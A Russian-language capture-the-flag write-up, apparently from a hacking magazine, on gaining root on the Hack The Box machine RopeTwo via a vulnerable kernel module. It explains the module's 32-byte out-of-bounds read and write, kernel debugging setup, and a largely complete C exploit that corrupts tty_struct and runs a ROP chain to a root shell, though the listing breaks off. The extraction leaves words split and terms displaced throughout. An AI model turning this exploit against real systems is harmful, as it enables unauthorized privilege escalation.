‐rw‐r‐‐‐‐‐ 1 root r4j    33 Dec 21 14:08 user.txt 

 
cat: user.txt: Permission denied

[+] Connecting to 10.10.10.196 on port 22: Done
[+] Starting remote process '/usr/bin/rshell' on 10.10.10.196: pid 14081
[*] leak_addr: 0x7f5ed04e7700
[*] libc_base: 0x7f5ed0302000
[*] Switching to interactive mode
$ $ id
uid=1000(r4j) gid=1001(chromeuser) groups=1001(chromeuser)
$ $ pwd
/home/chromeuser
$ $ cd /home/r4j
$ $ ls ‐la

$ $ cat user.txt

Оче ред ная  голово лом ка:  флаг  может  про читать  толь ко  root  и  поль зователь
из груп пы r4j. А наш gid по‐преж нему — chromeuser!

Это задач ку пред лагаю решить тебе самому, она нес ложная.
(ʞuıʃɯʎs :ʇuıɥ)
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В этой статье будем раз бирать одну из самых слож ных  тем
в сфе ре PWN — экс плу ата цию ядра Linux. Ты узна ешь, какие
инс тру мен ты при меня ются для отладки ядра, что такое LKM,
KGDB, IOCTL, TTY, и мно го дру гих инте рес ных вещей!

В  стать ях  « »  и  « »  мы  про ложи ли  себе  путь
к  поль зовате лю  r4j  на  хар дкор ной  вир туал ке  RopeTwo.  Что бы  доб рать ся
до рута, оста ется пос ледний шаг, но какой! Нас ждет ROP (не зря же вир туал‐ 
ку так наз вали) и kernel exploitation. Моз ги будут закипать, обе щаю! Запасай ся

 дебаг гером и поеха ли!

Раз бира ем  V8 Ку ча  прик лючений

поп корном

РАЗВЕДКА
Как и в слу чае с фла гом поль зовате ля из пре дыду щей статьи, пер вым делом
запус каем LinPEAS и вни матель но смот рим, за что мож но зацепить ся. В гла за
бро сают ся две подоз ритель ные строч ки:

             [+] Looking for Signature verification failed in dmseg
                 

         
[ 13.882339] ralloc: module verification failed: signature and/or
required key missing ‐ tainting kernel
‐‐

                         [+] Readable files belonging to root and readable by me but not world
readable

                 ‐rw‐r‐‐‐‐‐ 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0‐38‐
generic/kernel/drivers/ralloc/ralloc.ko

Ви дим, что в сис теме от поль зовате ля  root заг ружен непод писан ный модуль
ядра, дос тупный нам для чте ния. А это зна чит, что впе реди kernel exploitation!

СТАТИЧЕСКИЙ АНАЛИЗ
Пер вое, что нам нуж но, — это ска чать себе ralloc.ko и нат равить на него «Гид‐ 
ру».

Ви дим,  что  ralloc  —  это  LKM,  который  выпол няет  раз личные  опе рации
с памятью при получе нии сис темных вызовов  ioctl. По сути, это самопис ный
драй вер управле ния памятью  (Superfast memory allocator,  как опи сыва ет его
сам автор), оче вид но, что не без уяз вимос тей.

LKM  (loadable  kernel  module)  —  объ ектный  файл,  содер жащий  код,
который рас ширя ет воз можнос ти ядра опе раци онной сис темы. В нем реали‐ 
зова ны все го четыре фун кции:

вы деле ние  памяти  в  адресном  прос транс тве  ядра  (kmalloc)  —  вызов
;

•
ioctl 0x1000

очи щение  памяти  в  адресном  прос транс тве  ядра  (kfree) —  вызов 
;

• ioctl 

0x1001

ко пиро вание  информа ции  из  адресно го  прос транс тва  поль зовате ля
в  прос транс тво  ядра  ( )  —
вызов  ;

•
memcpy(kernel_addr, user_addr,  size)

ioctl 0x1002

ко пиро вание информа ции из адресно го прос транс тва ядра в прос транс‐ 
тво  поль зовате ля  ( )  —
вызов  .

•
memcpy(user_addr,  kernel_addr,  size)

ioctl 0x1003

Ни же  дизас сем бли рован ный  и  при веден ный  в  чита емый  вид  лис тинг  этих
фун кций:

      case 0x1000: // Функция выделения памяти ядра
                 if ((size < 0x401) && (idx < 0x20)) {
         if (arr[idx].size== 0) {

          ptr = __kmalloc(size, 0x6000c0);
        arr[idx].data = ptr;

            if (ptr != 0) {
              arr[idx].size = size_alloc + 0x20;

          return_value = 0;
     }
   }
 }
 break;

      case 0x1001: // Функция освобождения памяти ядра
                 if ((idx < 0x20) && arr[idx].data != 0)) {
     kfree(arr[idx].ptr);

        arr[idx].size = 0;
        return_value = 0;

   }
 break;

      case 0x1002: // Функция копирования из user space в kernel space
         if (idx < 0x20) {
       __dest = arr[idx].data;
       __src = ptrUserSpace;
                     

 
if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].

size)) {
                if ((ptrUserSpace & 0xffff000000000000) == 0) {

              memcpy(__dest, __src, size & 0xffffffff);
          result = 0;

     }
   }
 }
 break;

      case 0x1003: // Функция копирования из kernel space в user space
         if (idx < 0x20) {
       __dest = ptrUserSpace;
       __src = arr[idx].data;
                       if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) {

                if ((ptrUserSpace & 0xffff000000000000) == 0) {
              memcpy(__dest, __src, size & 0xffffffff);

          result = 0;
     }
   }
 }
 break;

Пос мотри  вни матель но  на  лис тинг.  Воз можно,  ты  най дешь  уяз вимость,  она
поч ти сра зу бро сает ся в гла за! А пока зай мем ся под готов кой стен да.

Разворачиваем стенд
Оче вид но, что для отладки ядра нам понадо бит ся вир туаль ная машина. Да не
одна, а целых две! Одна сыг рает роль хос та, где уста нов лено ядро с отла доч‐ 
ными сим волами и где мы при меним отладчик GDB, вто рая будет запус кать ся
в режиме KGDB (отладчик ядра Linux). Связь меж ду вир туаль ными машина ми
уста нав лива ется либо по пос ледова тель ному пор ту, либо по локаль ной сети.
Схе матич но это выг лядит так.

Схе ма отладки ядра Linux

Су щес тву ет  нес коль ко  сред  вир туали зации,  на  которых  мож но  раз вернуть
стенд: VirtualBox, QEMU (самый прос той вари ант) или VMware. Я выб рал пер‐ 
вый вари ант. Если захочешь поп ракти ковать ся с QEMU, то на GitHub есть 

.
ру‐ 

ководс тво
Так же я нашел неп лохое видео, которое под робно показы вает нас трой ку

VirtualBox для отладки ядра.

Ос тановим ся на глав ных момен тах. Пер вым делом пос мотрим, какая вер сия
ядра исполь зует ся в RopeTwo:

 

 

 
Release:        19.04 
5.0.0‐38‐generic

r4j@rope2:~$ lsb_release ‐r && uname ‐r

Ска чива ем и раз ворачи ваем ВМ с Ubuntu 19.04. Далее уста нав лива ем ядро
нуж ной вер сии (и свои любимые средс тва отладки и ути литы):

linux‐image‐5.0.0‐38‐generic apt‐get install 

Те перь  мож но  сде лать  клон  ВМ.  На  хост  нам  нуж но  заг рузить 
. Нам нужен файл 

 (838,2 Мибайт).

яд ро  с  сим‐ 
волами отладки linux‐image‐unsigned‐5.0.0‐38‐gener‐
ic‐dbgsym_5.0.0‐38.41_amd64.ddeb

На тар гете нуж но вклю чить режим отладки ядра (KGDB). Для это го сна чала
нас тро им заг рузчик, изме ним в фай ле   сле дующие строч‐ 
ки:

/etc/default/grub

=GRUB_CMDLINE_LINUX "kgdboc=ttyS0,115200"
=GRUB_CMDLINE_LINUX_DEFAULT "consoleblank=0 nokaslr"

Тем самым мы даем KGDB коман ду слу шать под клю чения отладчи ка на пор те
ttyS0,  а  так же  отклю чаем  KASLR  (kernel  address  space  layout  randomization)
и очис тку кон соли.

Вы пол няем коман ду  , что бы записать парамет ры в заг рузчик.
Пос ле это го мож но удос товерить ся, что зна чения попали в кон фиг GRUB, —
ищи их в фай ле  .

update‐grub

/boot/grub/grub.cfg
Ес ли бы мы хотели отла живать само ядро, было бы необ ходимо добавить

параметр  ,  что бы  заг рузчик  оста новил ся  перед  заг рузкой  ядра
и ждал под клю чения GDB с  хос та. Но  так  как  нас инте ресу ет  не  само  ядро,
а LKM, то это не тре бует ся.

kgdbwait

Да лее про верим, что у нас в сис теме вклю чены пре рыва ния отладки:

 

 

 
CONFIG_MAGIC_SYSRQ=y 
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x01b6 
CONFIG_MAGIC_SYSRQ_SERIAL=y

root@target:/boot# grep ‐i CONFIG_MAGIC_SYSRQ config‐5.0.0‐38‐generic

и текущие фла ги пре рыва ний:

 

 

 
176
cat /proc/sys/kernel/sysrq

Вклю чим на тар гете все фун кции «магичес ких» пре рыва ний сис темы:

     /proc/sys/kernel/sysrq echo "1" >
     /etc/sysctl.d/99‐sysctl.conf echo "kernel.sysrq = 1" >>

Под робнее о них мож но почитать в  .до кумен тации
Те перь,  если  ты  вве дешь  ,  сис тема

завис нет в ожи дании под клю чения отладчи ка.
echo  g  >  /proc/sysrq‐trigger

Ос талось свя зать хост и тар гет меж ду собой. Для это го необ ходимо вклю‐ 
чить в нас трой ках обе их ВМ Serial Port. На тар гете это выг лядит так.

Нас трой ки Serial Port на тар гете

А на хос те — так.

Нас трой ки Serial Port на хост

Об рати  вни мание,  что  на  хос те  уста нов лена  галоч ка  Connect  to  existing
pipe/socket! Поэто му  сна чала мы  заг ружа ем ВМ  тар гета и  толь ко  потом ВМ
хос та.

Те перь все готово для отладки, про веря ем.

Про вер ка работы KGDB

KGDB так же мож но акти виро вать «магичес кой» ком бинаци ей кла виш в Virtual‐
Box: Alt‐PrintScr‐g.

За киды ваем  в  тар гет  модуль  ralloc.ko  и  заг ружа ем  его  коман дой 
. Основные коман ды для работы с модуля ми ядра:

insmod 
ralloc.ko

  —  вывод  спис ка  зависи мос тей  и  свя зан ных  map‐фай лов
для модулей ядра;

• depmod

 — заг рузка модуля в ядро;• insmod

 — вывод текуще го ста туса модулей ядра;• lsmod

 — вывод информа ции о модуле ядра;• modinfo

 — уда ление модуля из ядра;• rmmod

 — вывод информа ции о сис теме.• uname

Пос ле заг рузки модуля можем пос мотреть его кар ту адре сов коман дой 
.  Запом ни  ее —  эта  коман да  еще  не  раз  нам  при‐ 

годит ся.

grep 
ralloc /proc/kallsyms

Кар та адре сов модуля ralloc

Для отладки нам понадо бят ся адре са областей .text, .data и .bss:

 

 

 
0xffffffffc03fb000 
0xffffffffc03fd000 
0xffffffffc03fd4c0

root@target:~# cd /sys/module/ralloc/sections && cat .text .data .bss

Пос мотрим, какие защит ные механиз мы вклю чены в ядре.

 

 

 
flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat 
pse36 clflush mmx fxsr sse sse2 
syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl 
tsc_reliable nonstop_tsc cpuid extd_apicid 
pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave 
avx f16c rdrand hypervisor lahf_lm extapic 
cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall 
fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt 
sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor

r4j@rope2:~$ cat /proc/cpuinfo | grep flags

Ви дим,  что  SMEP  вклю чен,  а  SMAP  —  нет.  В  этом  мож но  убе дить ся  сле‐ 
дующим обра зом:

 

 

 
BOOT_IMAGE=/boot/vmlinuz‐5.0.0‐38‐generic root=UUID=8e0d770e‐1647‐4f8e‐
9d30‐765ce380f9b7 ro maybe‐ubiquity nosmap

r4j@rope2:/tmp$ cat /proc/cmdline

Supervisor mode execution protection (SMEP) и supervisor mode access preven‐
tion  (SMAP)  —  фун кции  безопас ности,  которые  исполь зуют ся  в  пос ледних
поколе ниях  CPU.  SMEP  пре дот вра щает  исполне ние  кода  из  режима  ядра
в адресном прос транс тве поль зовате ля, SMAP — неп редна мерен ный дос туп
из режима ядра в адресное прос транс тво поль зовате ля. Эти опции  кон тро‐ 
лиру ются  вклю чени ем  опре делен ных  битов  в  регис тре  CR4.  Под робнее
об этом мож но почитать в докумен тации Intel ( ).PDF

Так же вклю чен KASLR — это умол чатель ный вари ант в новых вер сиях ядра
Linux.

Продолжение статьи →
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ПОГРУЖЕНИЕ В НЕДРА
РАЗБИРАЕМ KERNEL EXPLOITATION,

ЧТОБЫ ДОБРАТЬСЯ ДО РУТА НА ВИРТУАЛКЕ
C HACK THE BOX

COVERSTORY  НАЧАЛО СТАТЬИ←

Пишем эксплоит
Итак,  какая  же  уяз вимость  при сутс тву ет  в  ralloc?  Раз гадка  кро ется  в  стро ке

,  это  зна чит,  что  мы  можем  читать
и  писать  на  32  бай та  боль ше  реаль ного  объ ема  выделен ной  памяти.  Неп‐ 
лохо! Но как мы можем это исполь зовать?

arr[idx].size  =  size_alloc  +  0x20;

По ка  я  изу чал  при меры  kernel  exploitation  (зна читель ная  часть  которых
на  китай ском,  но  Google  Translate  нам  в  помощь),  появил ся  план  дей ствий.
Пер вое,  на  что  надо  обра тить  вни мание, —  мак сималь ный  раз мер  учас тка
памяти сос тавля ет 1024 бай та. Есть еще одна извес тная струк тура,  которая
исполь зует такой же раз мер, —  .tty_struct

INFO

  исполь зует ся  ядром  TTY  для  кон‐ 
тро ля за текущим сос тоянием на кон крет ном пор‐ 
те.

tty_struct

Ес ли мы  выделим два  сосед них  учас тка  памяти,  а  потом осво бодим  вто рой
из  них  и  вызовем  псев дотер минал,  с  боль шой  веро ятностью  менед жер
памяти  ядра  заг рузит    в  толь ко  что  осво бож денный  учас ток.
В таком слу чае у нас будет воз можность читать пер вые 32 бай та этой струк‐ 
туры  и  писать  в  них,  исполь зуя  уяз вимость OOB  (out‐of‐bounds).  Бла года ря
это му  мы  можем  про читать  и  переза писать  ука затель  ,  который  рас‐ 
положен в начале    и  содер жит  адрес  ,  и  вычис‐ 
лить  по  его  сме щению  адрес  kernel  base.  Зная  его,  мы  можем  сос тавить
ROPchain, помес тить его по опре делен ному адре су и перенап равить на него
ука затель  сте ка.  В  этом  нам  поможет  замена  ука зате ля    под дель ной
струк турой  ,  в  которой  ука затель    заменен  гад жетом

. Дол жно сра ботать, поп робу ем это реали зовать.

tty_struct

*ops
tty_struct ptm_unix98_ops

*ops
tty_operations ioctl

xchg eax esp
Пи сать экс пло ит мы будем на ста ром доб ром (а для кого‐то не очень) С.

Для  начала,  как  всег да,  напишем  вспо мога тель ные  фун кции.  Точ нее,
это  будет  все го  одна  фун кция,  которая  вызыва ется  мак росами  с  нуж ными
парамет рами:

                   
     

void call_ralloc(int fd, signed long idx, size_t size, unsigned long
*data, int cmd) {
     long int arg[3]={idx,size,data};
           int ret = ioctl(fd, cmd, &arg);
}

Те перь  про верим,  смо жем  ли  мы  заг рузить    в  осво бож денный
учас ток памяти. Пом нишь, что нас инте ресу ет ука затель на  ?
Для начала най дем его адрес:

tty_struct
ptm_unix98_ops

 

 

 
ffffffff820af6a0 r ptm_unix98_ops
root@target:~# grep ptm_unix98_ops /proc/kallsyms

А теперь исполь зуем сле дующий код (я при вожу толь ко клю чевые стро ки кода
для  эко номии  мес та,  пол ный  код  для  ком пиляции  ты  можешь  вос ста новить
из исходни ка экс пло ита в кон це статьи):

del(fd,1);
del(fd,2);
alloc(fd,1,0x400);
alloc(fd,2,0x400);
del(fd,2);

         tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
     kernel_to_user(fd, 1, 0x420, data);

 for(int i=128;i<132;i+=2){
 printf("%016llx  |  %016llx\n",data[i],data[i+1]);
}

 исполь зует ся для соз дания пары основно го и под чинен ного псев‐ 
дотер минала. Ког да про цесс откры вает  , то он получа ет опи сатель
фай ла  для  основно го  псев дотер минала  (PTM,  pseudo‐terminal  master),  а  в
катало ге    соз дает ся  устрой ство  под чинен ного  псев дотер минала
(PTS, pseudo‐terminal slave).

/dev/ptmx
/dev/ptmx

/dev/pts

Ском пилиру ем  код  коман дой 
и пос мотрим, что получа ется.

gcc  ‐static  tty_test.c  ‐o  tty_test

Ключ    зас тавля ет  ком пилятор  вклю чить  в  бинар ный  файл  все
необ ходимые биб лиоте ки.

‐static

 

 

 
59dfb48431ee39b3  |  0000000000000000 
ffff8881923f9cc0  |  ffffffff820af6a0

artex@target:~$ ./tty_test

Пос ле нес коль ких запус ков мы видим нуж ный ука затель на  !ptm_unix98_ops
Но  иног да  мы  видим  прос то  мусор  или  нули.  Поп робу ем  разоб рать ся

в этом с помощью GDB.
Мо дифи циру ем код:

alloc(fd,1,0x400);
alloc(fd,2,0x400);
data[3]=0xdeadbeef;

     user_to_kernel(fd, 2, 0x400, data);
     kernel_to_user(fd, 1, 0x420, data);

printf("%016llx",data[131]);

На ша  цель —  выделить  два  чан ка,  записать  дан ные  во  вто рой,  а  про читать
началь ные  32  бай та,  обра щаясь  к  пер вому.  Теперь,  если  ском пилиро вать
и запус тить нашу тес товую прог рамму нес коль ко раз, уви дим, что пос ледова‐ 
тель ность   мы получа ем далеко не всег да. Про верим в GDB.0xdeadbeef

Для  начала  сде лаем  на  тар гете  пре рыва ние,  заг рузим  в  GDB  на  хос те
адре са   и уста новим брейк перед вызовом фун кции    (сме‐ 
щение от начала   — 0x156):

ralloc __kmalloc
rope2_ioctl

 

 

add‐symbol‐file ralloc.ko 0xffffffffc03fa000 ‐s .data 0xffffffffc03fc000 
‐s .bss 0xffffffffc03fc4c0 
b *0xffffffffc03fa156

Пос ледова тель ность дей ствий в GDB дол жна быть такой:

step 
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux‐I6SwI1/linux‐
5.0.0/mm/slub.c:3788 
finish 
Value returned is $1 = (void *) 0xffff88818c968000 
continue 
step 
__kmalloc (size=0x400, flags=0x6000c0) at /build/linux‐I6SwI1/linux‐
5.0.0/mm/slub.c:3788 
finish 
Value returned is $2 = (void *) 0xffff888191c2b400 

Ко ман да    поз воля ет  нам  перей ти  к  сле дующей  инс трук ции  —  вызову
фун кции kmalloc, а   — получить воз вра щаемое ей зна чение.

step
finish

Ви дим,  что  адре са  двух  чан ков  не  сле дуют  друг  за  дру гом,  точ нее  такое
быва ет,  но  далеко  не  всег да.  Сле дова тель но,  преж де  чем  осво бож дать
память для  , нам необ ходимо вста вить про вер ку смеж ности чан‐ 
ков. Для это го исполь зует ся цикл с алго рит мом, похожим на про вер ку выше
(смот ри код экс пло ита в кон це статьи).

tty_struct

Пос ле того как мы наш ли смеж ные чан ки и записа ли   в осво‐ 
бож денный учас ток памяти, мы можем про читать нуж ный адрес и вычис лить
по нему kernel base — базовый адрес ядра. Далее перехо дим к самому инте‐ 
рес ному — пос тро ению ROPchain.

tty_struct

На чина ем  с  модели рова ния.  Нам  нуж на  фун кция,  которая  поз волит
повысить  наши  при виле гии  до  root.  Один  из  самых  дос тупных  вари антов
для  это го  —  фун кция  .  Если
мы  вызовем    от  име ни  сис темы  и  переда дим  ей  в  качес тве
парамет ра  , мы заменим UID нашего про цес са
на 0. Это про исхо дит потому, что, получив в качес тве парамет ра NULL, 

  воз вра щает  пол номочия  про цес са  ини циали зации
, а эти пол номочия соот ветс тву ют пол номочи ям root. Так же мож но

сра зу  передать  фун кции    струк туру  ,  что  мы  и  сде‐ 
лаем. Под робнее о пол номочи ях в Linux читай в  .

commit_creds(prepare_kernel_cred(NULL));
commit_creds

prepare_kernel_cred(NULL)
pre‐

pare_kernel_cred
init_cred

commit_creds init_cred
до кумен тации

Пос коль ку у нас акти вен SMEP, мы не можем выпол нять код в прос транс‐ 
тве  User,  а  дол жны  исполь зовать  гад жеты  из  ядра  сис темы.  Вто рой  путь —
отклю чить  SMEP,  помес тив  в  регистр  cr4  зна чение  0x6f0.  Можешь  поп‐ 
робовать реали зовать это самос тоятель но в качес тве упражне ния, а мы пой‐ 
дем по пер вому пути. Для это го нам тре бует ся:

по мес тить   в регистр RDI (пер вый параметр фун кции);• init_cred

выз вать  ;• commit_creds

ак курат но вер нуть ся в кон текст поль зовате ля, ничего не сло мав, и запус‐ 
тить shell.

•

Для  перек лючения  кон тек ста  сущес тву ет  инс трук ция  ,  но  перед  ее
вызовом  тре бует ся  выпол нить инс трук цию  ,  что бы  вос ста новить  зна‐ 
чение  IA32_KERNEL_GS_BASE  MSR  (model‐specific  register).  Так  как  при
перехо де в режим ядра (нап ример, при вызове  ) вызыва ется 
для получе ния ука зате ля на струк туры дан ных ядра, при воз вра щении в режим
поль зовате ля  нуж но  вер нуть  это  зна чение  обратно  в  MSR.  Озна комить ся
с опи сани ем   мож но на  . Для  кор рек тно го воз‐ 
вра щения  в  user  space  инс трук ция    так же  тре бует  соб людения  опре‐ 
делен ной струк туры сте ка.

iretq
swapgs

syscall swapgs

swapgs сай те Фелик са Клутье
iretq

Струк тура сте ка, необ ходимая iretq

По это му  нам  нуж но  сох ранить  зна чения  этих  регис тров  перед  вызовом
ROPchain  и  вос ста новить  в  момент  воз вра щения  в  user  space.  Сох ранить
регис тры мож но с помощью сле дующей фун кции:

asm(
 "movq %%cs, %0\n"
 "movq %%ss, %1\n"
 "movq %%rsp, %2\n"
 "pushfq\n"
 "popq %3\n"
             
 
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) :

: "memory"
);

Ос талось най ти ROP‐гад жеты и сос тавить ROPchain.
Есть  нес коль ко  ути лит  для  поис ка  гад жетов  ROP,  нап ример  ,
,  . Все они при меня ют раз ные алго рит мы поис ка,  и  спис ки  най‐ 

ден ных  гад жетов нем ного отли чают ся. Поэто му, если  ты не смог най ти нуж‐ 
ный гад жет одной из ути лит, можешь поп робовать дру гую. Итак, нам нуж но:

ROPgadget
xrop ropper

рас паковать ядро;•
най ти  гра ницы  области  .text  (гад жеты  из  дру гих  областей  час то  могут
не работать);

•

ус тановить  и  запус тить  ROPgadget,  сох ранив  все  най ден ные  гад жеты
в файл.

•

 

 

 
 

ffffffff81000000 T _text 
ffffffff81e00e91 T _etext 
ROPgadget ‐‐binary vmlinux ‐‐range 0xfffffff81000000‐0xffffffff81e00e91 
| sort > rgadget.lst

root@target:/boot# /usr/src/linux‐headers‐$(uname ‐r)/scripts/extract‐
vmlinux vmlinuz‐$(uname ‐r) > vmlinux
root@target:/boot# egrep " _text$| _etext$" System.map‐5.0.0‐38‐generic

Те перь  коман дой    ищем  адре са  нуж ных  нам  гад жетов  в  ,
а адре са   и   — в    (это будет  тво им
домаш ним задани ем). А вот   при дет ся искать в ядре с помощью 

:

grep rgadget.lst
init_cred commit_creds /proc/kallsyms

iretq obj‐
dump

 

 
root@target:/boot# objdump ‐j .text ‐d vmlinux | grep iretq | head ‐1

Пос ле  того  как  адре са  соб раны,  нам  нуж но  рас счи тать  их  сме щения
от базово го адре са, пос коль ку на сер вере акти виро ван KASLR и работать мы
будем со сме щени ями. Для это го я написал мак росы:

#define BASE      0xffffffff81000000
#define OFFSET(addr)  ((addr) ‐ (BASE))
#define ADDR(offset)  (kernel_base + (offset))

В ито ге у нас получил ся вот такой ROPchain:

         unsigned long long rop_chain[] = {
 // Помещаем в RDI init_cred (первый параметр функции)
 ADDR(pop_rdi_ret),
 ADDR(init_cred),
 // Выполняем commit_creds(init_cred)
 // и получаем UID процесса — 0 (root)
 ADDR(commit_creds),
 // Меняем местами (восстанавливаем) значения регистров
 // GS и MSR (IA32_KERNEL_GS_BASE)
 ADDR(swapgs),
 // Пустышка для pop rbp гаджета swapgs
 0xdeadbeef,
 // Переключаем контекст на user space
 ADDR(iretq),
 // Запускаем shell
 shell,
 // Восстанавливаем регистры
 user_cs,
 user_rflags,
 user_sp,
 user_ss
};

Ос талось пос леднее и самое глав ное — зас тавить RSP (Stack Pointer) сте ка
ядра перек лючить ся на наш ROPchain и получить шелл. Пом нишь, мы записа‐ 
ли   в осво бож денный чанк и можем переза писать пер вые 32 бай‐ 
та этой струк туры? Начало этой струк туры выг лядит так:

tty_struct

tty_struct:
     int magic; // 4
       struct kref kref; // 4
       struct device *dev; // 8
       struct tty_driver *driver; // 8
         const struct tty_operations *ops; // 8
 // offset = 4 + 4 + 8 + 8 = 24 байт = 0x18
 ...

Мы можем  под делать  струк туру    и  заменить  этот  ука затель
нашей  под дель ной  струк турой.  Что  нам  это  даст?  Вот  как  выг лядит  начало

 (пол ное ее опи сание мож но най ти в  ):

tty_operations

tty_operations ис ходни ках

   struct tty_operations {
                 

 
struct tty_struct *(*lookup)(struct tty_driver *, struct file *,

int); /*     0     8 */
             int (*install)(struct tty_driver *, struct tty_struct *);
             /*     8     8 */
             void (*remove)(struct tty_driver *, struct tty_struct *);
             /*    16     8 */
             int (*open)(struct tty_struct *, struct file *);
                      /*    24     8 */
             void (*close)(struct tty_struct *, struct file *);
                    /*    32     8 */
       void (*shutdown)(struct tty_struct *);
                                /*    40     8 */
       void (*cleanup)(struct tty_struct *);
                                 /*    48     8 */
                 int (*write)(struct tty_struct *, const unsigned char *, int);
        /*    56     8 */
           int (*put_char)(struct tty_struct *, unsigned char);
                  /*    64     8 */
       void (*flush_chars)(struct tty_struct *);
                             /*    72     8 */
       int (*write_room)(struct tty_struct *);
                               /*    80     8 */
       int (*chars_in_buffer)(struct tty_struct *);
                          /*    88     8 */
                   int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int);
/*    96     8 */
 ...

Ее  три над цатый  эле мент —  ука затель  на  .  Если мы заменим этот  ука‐ 
затель и вызовем  , передав ему   (file descriptor), который вер нул  ,
мы смо жем выз вать нуж ную нам инс трук цию.

ioctl
ioctl fd ptmx

А так как мы хотим заменить RSP нуж ным нам адре сом, заменим 
адре сом гад жета  . Так как этот адрес будет содер жать‐ 
ся  в    при  вызове  ,  наш  гад жет    «перек лючит»  ука затель  сте ка
на адрес   (млад шие 32 бита rax). Имен‐ 
но туда мы и запишем наш ROPchain!

*ioctl
xchg eax, esp; ret;

rax ioctl xchg
ADDR(xchg_eax_esp) & 0xFFFFFFFF

Схе матич но весь про цесс экс плу ата ции мож но пред ста вить так.

Ал горитм работы экс пло ита

Для  отладки  веша ем  в  отладчи ке  брейк  на    (
),  дела ем  шаг  впе ред  ( )  и  убеж даем ся,  что  ука‐ 

затель сте ка ядра теперь «смот рит» на наш ROPchain.

xchg_eax_esp break 
*0xffffffff8104cba4 step

ROPchain в отладчи ке

На конец‐то наш экс пло ит готов, при вожу его пол ный лис тинг:

#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <stdbool.h>

#define CMD_ALLOC 0x1000
#define CMD_FREE  0x1001
#define CMD_USER_TO_KERNEL  0x1002
#define CMD_KERNEL_TO_USER  0x1003
#define BUF_SIZE 0x400

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (
0)

/* Макросы для вызова функций ralloc */
#define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC)
#define del(fd, idx)         call_ralloc(fd, idx, 0, 0, CMD_FREE)
#define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, 
size, data, CMD_USER_TO_KERNEL)
#define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, 
size, data, CMD_KERNEL_TO_USER)

/* Макросы для вычисления смещений адресов */
#define BASE      0xffffffff81000000
#define OFFSET(addr)  ((addr) ‐ (BASE))
#define ADDR(offset)  (kernel_base + (offset))

       unsigned long kernel_base = 0;

/* ROP Gadgets */
     

 
typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned
long cred);

       
 

commit_creds_func commit_creds = (commit_creds_func) OFFSET(
0xffffffff810c0540); // commit_creds

        size_t init_cred = OFFSET(0xffffffff8265fa00); // init_cred
       size_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; 

ret;
       size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi ; ret;
       size_t iretq = OFFSET(0xffffffff810379fb); // iretq
       size_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret;

/* Переменные для сохранения пользовательского контекста */
   unsigned long user_cs;
   unsigned long user_ss;
   unsigned long user_sp;
   unsigned long user_rflags;

     unsigned long data[0x420]; // Массив для операций с ralloc
   size_t fake_tty_operations[30]; // Массив для подмены указателя ioctl

/* Функция взаимодействия с драйвером ralloc */
                   

     
void call_ralloc(int fd, signed long idx, size_t size, unsigned long
*data, int cmd) {
     long int arg[3]={idx,size,data};
           int ret = ioctl(fd, cmd, &arg);
         if (ret < 0) {
     if (cmd==CMD_USER_TO_KERNEL)
     err_exit("[!] user_to_kernel copy error");
     if (cmd==CMD_KERNEL_TO_USER)
     err_exit("[!] kernel_to_user copy error");
 }
}
/* Функция вызова shell */

   void shell() {
 puts("‐=Welcome to root shell=‐");
 system("/bin/bash");
}
/* Функция сохранения состояния регистров */

     static void save_state() {
 asm(
   "movq %%cs, %0\n"
   "movq %%ss, %1\n"
   "movq %%rsp, %2\n"
   "pushfq\n"
   "popq %3\n"
             
   

: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
: : "memory"
 );
}

     int main () {
       bool isTRY = true;
 save_state();

       while (isTRY) { // Продолжаем попытки, пока не найдем адрес 
ptm_unix98_ops
     int index=0x20;
     int tty_fd;
   /* Открываем файловый дескриптор для драйвера */
           int fd = open("/dev/ralloc", O_RDONLY);
           if (fd < 0) {
     err_exit("[!] open /dev/ralloc");
 }

       size_t ptr = 0;
   data[3]=0xdeadbeef; // Значение для проверки чанков на смежность
   int fake_stack=0;
 /* Цикл для поиска смежных чанков */
 puts("[+] Searching adjacent slabs");
         for(int j=0; j<0x20; j+=2) {
     del(fd,j); // Профилактика зависших дескрипторов
   del(fd,j+1);

   alloc(fd,j,BUF_SIZE);
   alloc(fd,j+1,BUF_SIZE);
         user_to_kernel(fd, j+1, BUF_SIZE, data);
           kernel_to_user(fd, j, 0x420, data); // Читаем на 32 байта больше
   /* Проверяем, смежные ли чанки */
       if (data[131]==0xdeadbeef) {
     puts("[+] Adjacent slabs found");
     index=j;
     break;
   }
 }
     if (index==0x20) {
   puts("[‐] Adjacent slabs not found, one more time..\n");
     } else {
   /* Смежные чанки найдены */
   puts("[+] Inserting tty_struct");

   del(fd,index+1);
   /* Пробуем поместить tty_struct в только что освобожденный чанк 
*/
             tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);

           kernel_to_user(fd, index, 0x420, data); // Читаем на 32 байта 
больше
   /* Сравниваем значение в освобожденном чанке + 0x18 с маской 
адреса ptm_unix98_ops (последние байты которого всегда равны 6a0) */
